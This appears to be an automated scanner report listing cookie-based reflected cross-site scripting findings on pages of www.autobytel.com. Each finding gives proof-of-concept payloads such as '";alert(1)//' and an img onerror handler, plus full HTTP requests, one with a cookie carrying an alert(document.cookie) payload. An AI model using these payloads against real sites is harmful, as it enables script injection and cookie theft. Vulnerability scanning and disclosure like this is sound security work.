The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b6c37"%3balert(1)//3474e0c2a81 was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as b6c37";alert(1)//3474e0c2a81 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-pictures.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=b6c37"%3balert(1)//3474e0c2a81; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 21f6d"%3balert(1)//09994992f77 was submitted in the BDATALIST cookie. This input was echoed as 21f6d";alert(1)//09994992f77 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-reviews.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c421f6d"%3balert(1)//09994992f77; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ce5e4"%3balert(1)//c24be204b0b was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as ce5e4";alert(1)//c24be204b0b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /car-reviews.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=ce5e4"%3balert(1)//c24be204b0b; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b2143"%3balert(1)//07a6e47bb9b was submitted in the BDATALIST cookie. This input was echoed as b2143";alert(1)//07a6e47bb9b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/buy/finance/index.cfm/action/Calculator HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4b2143"%3balert(1)//07a6e47bb9b; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1b9db"%3balert(1)//ddc5d696033 was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as 1b9db";alert(1)//ddc5d696033 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/buy/finance/index.cfm/action/Calculator HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=1b9db"%3balert(1)//ddc5d696033; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the PV_CT cookie is copied into the HTML document as plain text between tags. The payload 46134<img%20src%3da%20onerror%3dalert(1)>abf1bae3adb was submitted in the PV_CT cookie. This input was echoed as 46134<img src=a onerror=alert(1)>abf1bae3adb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /content/buy/finance/index.cfm/action/Calculator HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=246134<img%20src%3da%20onerror%3dalert(1)>abf1bae3adb; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9d2fa"%3balert(1)//593170551a3 was submitted in the BDATALIST cookie. This input was echoed as 9d2fa";alert(1)//593170551a3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/buy/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c49d2fa"%3balert(1)//593170551a3; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 65796"%3balert(1)//be62058463a was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as 65796";alert(1)//be62058463a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/buy/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=65796"%3balert(1)//be62058463a; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the PV_CT cookie is copied into the HTML document as plain text between tags. The payload 621ab<img%20src%3da%20onerror%3dalert(1)>0e7859121e3 was submitted in the PV_CT cookie. This input was echoed as 621ab<img src=a onerror=alert(1)>0e7859121e3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /content/buy/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2621ab<img%20src%3da%20onerror%3dalert(1)>0e7859121e3; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 808f3"%3balert(1)//bcba1c35209 was submitted in the BDATALIST cookie. This input was echoed as 808f3";alert(1)//bcba1c35209 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/buy/warranty/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4808f3"%3balert(1)//bcba1c35209; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload acb53"%3balert(1)//e8c2790b457 was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as acb53";alert(1)//e8c2790b457 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/buy/warranty/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=acb53"%3balert(1)//e8c2790b457; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the PV_CT cookie is copied into the HTML document as plain text between tags. The payload ea2f7<img%20src%3da%20onerror%3dalert(1)>0d22b5eeda3 was submitted in the PV_CT cookie. This input was echoed as ea2f7<img src=a onerror=alert(1)>0d22b5eeda3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /content/buy/warranty/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2ea2f7<img%20src%3da%20onerror%3dalert(1)>0d22b5eeda3; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5d595"%3balert(1)//ef6e8a896d9 was submitted in the BDATALIST cookie. This input was echoed as 5d595";alert(1)//ef6e8a896d9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/home/help/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c45d595"%3balert(1)//ef6e8a896d9; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4235c"%3balert(1)//1b57b2c436c was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as 4235c";alert(1)//1b57b2c436c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/home/help/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=4235c"%3balert(1)//1b57b2c436c; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the PV_CT cookie is copied into the HTML document as plain text between tags. The payload 1daef<img%20src%3da%20onerror%3dalert(1)>3c8b2be1541 was submitted in the PV_CT cookie. This input was echoed as 1daef<img src=a onerror=alert(1)>3c8b2be1541 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /content/home/help/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=21daef<img%20src%3da%20onerror%3dalert(1)>3c8b2be1541; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2b56f"%3balert(1)//eaebc7de927 was submitted in the BDATALIST cookie. This input was echoed as 2b56f";alert(1)//eaebc7de927 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/home/help/index.cfm/action/about HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c42b56f"%3balert(1)//eaebc7de927; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bf1d7"%3balert(1)//20912d36e15 was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as bf1d7";alert(1)//20912d36e15 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
